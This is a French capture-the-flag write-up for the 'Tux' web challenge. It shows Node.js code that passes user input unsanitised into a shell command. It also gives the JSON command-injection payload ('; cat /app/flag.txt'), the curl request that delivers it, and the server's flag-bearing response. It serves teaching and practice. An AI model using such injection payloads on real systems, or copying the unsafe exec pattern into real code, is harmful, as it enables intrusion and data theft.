Tux (EASY)

Auteur(s) :

`Hokanosekai`

Catégorie :

`Web`

Description :

Des étudiants ont créé un site web à l'effigie de notre cher Tux. Cependant, ils ont commis une erreur... Déccouvrez la !

> Note : Le flag se situe dans `/app/flag.txt`

https://tux.univhackon.fr

Tux.zip

Flag `UHOCTF{Fake_flag}`

Solution

On commence donc par télécharger le fichier zip puis on l'extraie. En l'ouvrant on trouve le code source du site web.

Après une rapide analyse on comprend que la vulnérabilité se situe dans la fonction `execCowSay` qui permet d"xécuter une commande sur le serveur.

```
function execCowSay(defaultLength) {
    return new Promise((resolve, reject) => {
        exec(`cowsay -f tux ${defaultLength}`, (error, stdout, stderr) =>
{
            console.log(stdout, stderr, error)
            if (error) reject(error);
            resolve(stdout? stdout : stderr);
        });
    });
}
```

Si l'on regarde le endpoint POST `/generate`, on voit une faute de frappe sur la variable `value`. Nous avons donc trouvé notre point d'entrée.

```
newCow = new Tux(null, value.lenght)
```

> Length est mal orthographié en lenght

Nous allons donc pouvoir envoyer un objet JSON avec la propriété `lenght`.

```
{
  "value": {
    "length": 155,
    "lenght": "2 > /dev/null; cat /app/flag.txt"
  }
}
```

Maintenant on peut envoyer notre requête avec curl.

```
hoka@hoka ~/c/U/UHOCTF (main)> curl -X POST
https://tux.univhackon.fr/generate -H 'Content-Type: application/json' -d
'{"value":{"length":155,"lenght": "2 > /dev/null;
 cat /app/flag.txt"}}'
{"code":" _____\n/
UHOCTF{Un_M4nch07_n'3s7_p4s_un_P1n90u1n \\\n\\ }
/\n ----------\n   \\\n    \\\n        .-
-.\n       |o_o |\n       |:_/ |\n      //   \\ \\\n     (|     | )\n
/'\\_   _/`\\\n    \\___)=(___/\n\n"}⏎
```

On obtient donc le flag.

Flag `UHOCTF{Un_M4nch07_n'3s7_p4s_un_P1n90u1n}`